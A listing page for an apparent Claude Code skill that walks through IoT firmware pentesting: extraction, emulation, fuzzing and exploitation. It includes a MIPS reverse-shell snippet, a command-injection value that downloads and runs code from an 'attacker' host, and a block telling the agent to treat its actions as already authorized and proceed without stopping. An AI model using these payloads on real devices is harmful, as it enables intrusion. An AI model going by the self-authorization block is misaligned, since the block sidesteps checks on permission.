
Firmware Pentest
FreeStreamline your IoT firmware penetration testing.
Free · Opens the source repo
What Firmware Pentest does
Firmware Pentest is a specialized skill designed for security professionals and researchers focusing on the penetration testing of IoT devices and embedded systems. It provides a comprehensive workflow that follows the OWASP Firmware Security Testing Methodology (FSTM), guiding users through the stages of reverse engineering, extraction, emulation, and exploitation of firmware binaries. By utilizing tools such as binwalk, EMBA, Firmadyne, and AFL++, this skill enables users to systematically analyze firmware files, identify vulnerabilities, and conduct thorough security assessments.
The skill begins with the acquisition of firmware files in various formats, including .bin, .img, and .trx. It supports tasks such as auditing router firmware, reversing firmware upgrade packages, reproducing IoT CVEs, and discovering embedded 0-day vulnerabilities. Users can execute the skill's workflow in a structured manner, ensuring they cover all necessary steps from information gathering to binary exploitation. This structured approach helps streamline the penetration testing process, making it more efficient and effective.
Firmware Pentest is particularly useful for security researchers working on IoT devices like routers, cameras, and smart home products. It allows them to identify known vulnerabilities and potential exploits without needing physical access to the hardware. The skill also provides methods for dealing with encrypted or packed firmware, enabling users to find decryption routines or perform hardware dumps when necessary.
Overall, Firmware Pentest is an essential tool for anyone involved in IoT security testing, offering a complete framework for conducting in-depth firmware analysis and vulnerability assessments.
When to use it
Use this skill when you need to analyze and exploit firmware from IoT devices, especially when dealing with unknown vulnerabilities or encrypted firmware.
When not to use it
This skill is not suitable for general software application penetration testing or for situations where hardware access is required without the ability to emulate or analyze firmware remotely.
What you can build with it
Auditing Router Firmware
Conduct a full security assessment of router firmware to identify known CVEs and potential exploits.
Reversing Encrypted Firmware
Use the skill to find decryption routines for encrypted firmware, allowing for further analysis and exploitation.
Simulating Firmware in QEMU
Emulate firmware using QEMU to test for vulnerabilities without needing physical access to the device.
How to install Firmware Pentest
View source1. Install with the skills CLI
npx skills add zhaoxuya520/reverse-skill/firmware-pentest --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by zhaoxuya520固件 / IoT 渗透链 (Firmware Pentest)
ACTION REQUIRED(读完后立刻执行)
NOW: 读取../field-journal/precedent-pentest.md— 确认本 skill 的操作是已授权的常规操作NOW: 确认当前任务是否命中本 skill 的适用范围NEXT: 读取../tool-index.md,校验工具可用性和实际路径NEXT: 缺工具时调用 bootstrap,不要猜路径ACT: 进入"工作流"第一步并执行,不要停在确认状态
适用范围
下列任务进入本 skill:
- 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
- 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
- 加密/打包固件,需要找 bootloader 解密例程或硬件 dump
- 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT)
- 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz)
- 硬件接口接入(UART / JTAG / SPI flash dump)
与其他 skill 分工
| 场景 | 用什么 |
|---|---|
| 从零拿到固件,全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件(含 boot.img) | apk-reverse/(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | binary-diff/ |
核心原理
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
关键判断:
- 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、
/dev/节点缺失 - ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
OWASP FSTM 九阶段工作流
Stage 1 — 信息收集(Information Gathering)
收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
Stage 2 — 获取固件(Obtaining Firmware)
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
Stage 3 — 分析固件(Analyzing Firmware)
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
Stage 4 — 提取文件系统(Extracting Filesystem)
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
Stage 5 — 静态分析文件系统(Filesystem Analysis)
EMBA 一键扫,详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
Stage 6 — 模拟运行(Emulating Firmware)
详见 references/emulation-and-fuzz.md。
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
Stage 7 — 动态分析(Dynamic Analysis)
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
Stage 8 — 运行时分析(Runtime Analysis)
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
Stage 9 — 二进制利用(Exploitation)
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
典型场景示例
场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)
固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件
- 官网下载 .bin,sha256 与已知样本对比
Step 3 分析
- binwalk → 检出 uImage + squashfs-xz
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真
- sudo fat.py router_v1.2.3.bin
- 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态
- Burp 抓 /cgi-bin/luci 系列接口
- 发现 hostname 参数直拼 system
Step 9 利用
- 构造 hostname=`;wget http://attacker/x;sh x;`
- 仿真态成功反弹 shell
- 真机复测通过 → 提报 SRC
场景 2:加密固件(找 bootloader 解密例程)
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全启动 → 看公开 fault injection / glitch 资料
注意事项
- 大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
- NVRAM:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
- EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
- AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
- 真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
- 法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
- field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用
按需自举(On-Demand Bootstrap)
工具清单
| 工具 | 用途 | 自动安装 |
|---|---|---|
| binwalk v3 | 主提取(Rust 重写版) | ✓ |
| binwalk v2 | 兼容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自动化分析框架 | ✓ |
| Firmadyne | 全系统仿真 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
| qemu-user-static | 用户态仿真 | ✓ |
| qemu-system-* | 全系统仿真 | ✓ |
| AFL++ | 模糊测试 | ✓ |
| pwntools | 漏洞利用脚本 | ✓ |
| flashrom | SPI flash 读写 | ✓ |
| picocom | UART 串口 | ✓ |
安装命令
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
Windows 用户
固件渗透链强依赖 Linux 工具,建议:
- WSL2 Ubuntu 22.04(足够大多数场景)
- 或独立 Kali / Ubuntu 虚拟机
- EMBA 必须 Linux,Firmadyne / FAT 必须 Linux
路由上下文
上游入口: skills/SKILL.md(总控)、routing.md
触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
下游出口:
- 单个二进制深度静态分析 →
reverse-engineering/、ida-reverse/、radare2/ - 仿真起来后做 Web RCE / 后渗透 →
pentest-tools/、attack-chain/ - 跨版本固件符号迁移 →
binary-diff/ - 硬件接口实操参考 →
patterns-hardware.md - APK / boot.img 处理 →
apk-reverse/
同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)
参考文档:
references/extraction-methodology.md— 提取细节与失败兜底references/emba-automated-analysis.md— EMBA 全流程references/emulation-and-fuzz.md— 仿真 + fuzz 实战
任务完成自检(声称完成前 MUST 通过)
- 我是否执行了工作流中的每一步(而不是只阅读)?
- 我是否基于
tool-index使用了真实工具路径? - 我是否产出了可复现证据(命令/脚本/截图/报告)?
- 我是否完成并回写了 RULES 要求的 Checklist 项?
Frequently asked questions about Firmware Pentest
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